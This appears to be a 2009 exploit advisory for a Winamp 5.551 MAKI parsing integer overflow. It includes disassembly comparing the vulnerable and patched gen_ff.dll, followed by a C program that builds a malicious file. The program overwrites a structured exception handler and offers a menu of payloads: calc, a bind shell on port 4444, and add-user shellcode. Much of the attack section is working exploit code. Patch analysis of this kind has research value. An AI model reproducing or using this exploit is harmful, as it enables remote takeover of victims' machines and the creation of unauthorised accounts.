Tested on :Vista sp1 and Xpsp3
Release Date :May 22 2009
Venders web site http://www.winamp.com/
Version Tested:Winamp 5.551
Not vulnerable :Winamp 5.552
Credits to Monica Sojeong Hong down at vrt-sourcefire for the overflow.
http://vrt-sourcefire.blogspot.com
As we know we are able to overwrite the exception handlers so
we can exploit this on multiple OS i tested these on xpsp3 <eng>
<Vista sp1> And all worked fine.
I wrote the exploits because i had tried the 2 exploits posted
on milw0rm they were tested on winxp sp3 and vista sp1 and i couldn't
get them to execute shell code which prompted me into writing my
own version!!
Below i have provided a look into the disassembly of the new
changes in the 555.2 version of winamp the main change was in
gen_ff.dll.
---snip--
A quick look at the new gen_ff.dll.
----------------------------------
loc_12094F62:
mov ax, [ebx]
movzx edi, ax -Extends ax into edi register.-
inc ebx
push edi ; Size
inc ebx
lea eax, [ebp+MultiByteStr]
push ebx ; Src
push eax ; Dst
call memmove
------------------------
loc_120951E9:
mov edi, [ebx]
add ebx, 4
mov ax, [ebx]
movzx esi, ax -Extends ax into esi register.-
inc ebx
push esi ; Size
inc ebx
lea eax, [ebp+var_2014C] <-- This was also changed.
push ebx ; Src
push eax ; Dst
call memmove
This is a simple run down of the new patch
that was applied to winamp winamp 5.552 If we look closely we can see they
changed the sign extension.
=555.1 .dll=
----------
movsx esi, ax = movsx(dest , source );
Copies source operand dest and extends the value.
Changed in the new gen_ff.dll.
=555.2 .dll=
----------
movzx esi, ax
Zero extend the 8 bit registers.
Copies data and sign extends the data while copying it.
Destination= 16 - 32 bit.
Source = 8 or a 16byte or maybe even 1 byte of memory
Source = the destination must be of greater value than the source.
This was a few of the changes within the new dll from winamp.Im
sure if you want to dig deeper you can get both dll and compare them
to see the changes that are made.So basically they have changed the
instruction from Copy with sign extension to copy with zero extension.
This can also be displayed when looking at the stack at the time of the
exception in the new version of winamp after steeping through the exception
although we can cause and exception we cant overwrite the 4 bytes on the
stack we can only overwrite 2 and it is always capped with 00FF.
---snip--
Special thanks to str0ke :)
Credits to n00b for writing exploit code !!
Progression is always a good thing.
----------
Disclaimer
----------
The information in this advisory and any of its
demonstrations is provided "as is" without any
warranty of any kind.
I am not liable for any direct or indirect damages
caused as a result of using the information or
demonstrations provided in any part of this advisory.
Educational use only..!!
for (i=0; i<sizeof(First_Header); i++)
fputc(First_Header[i], fp);
for (i=0; i<sizeof(Exception); i++)
fputc(Exception[i], fp);
for (i=0;i<16751;i++)
{
fwrite(&Junk1,1,1,fp);
}
fputs("\xeb\x06\x90\x90",fp);/*Pointer to next seh record */
fputs("\x7C\x14\xF0\x12",fp);/*SE handler Universal adress 12F0147C */
int input;
printf("\n------------------------------------------------------");
printf("\nWinamp 5.551 MAKI Parsing Integer Overflow Exploit !!!");
printf("\n\nExploit created by n00b");
printf( "\n[1]. Calc Shell_Code" );
printf( "\n[2]. Bind Shell_Code on port 4444" );
printf( "\n[3]. Add user Shell_Code" );
printf( "\n[4]. To exit and cancel" );
printf( "\nPlease chose your Shell_Code:" );
scanf( "%d", &input );
switch ( input )
{
case 1:
for (i=0; i<sizeof(Calc_ShellCode); i++)
fputc(Calc_ShellCode[i], fp);
break;
case 2:
for (i=0; i<sizeof(Bind_Shellcode); i++)
fputc(Bind_Shellcode[i], fp);
break;
case 3:
for (i=0; i<sizeof(Add_User_Shellcode); i++)
fputc(Add_User_Shellcode[i], fp);
break;
case 4:
return 0;
break;
}
fclose(fp);
return 0;
}
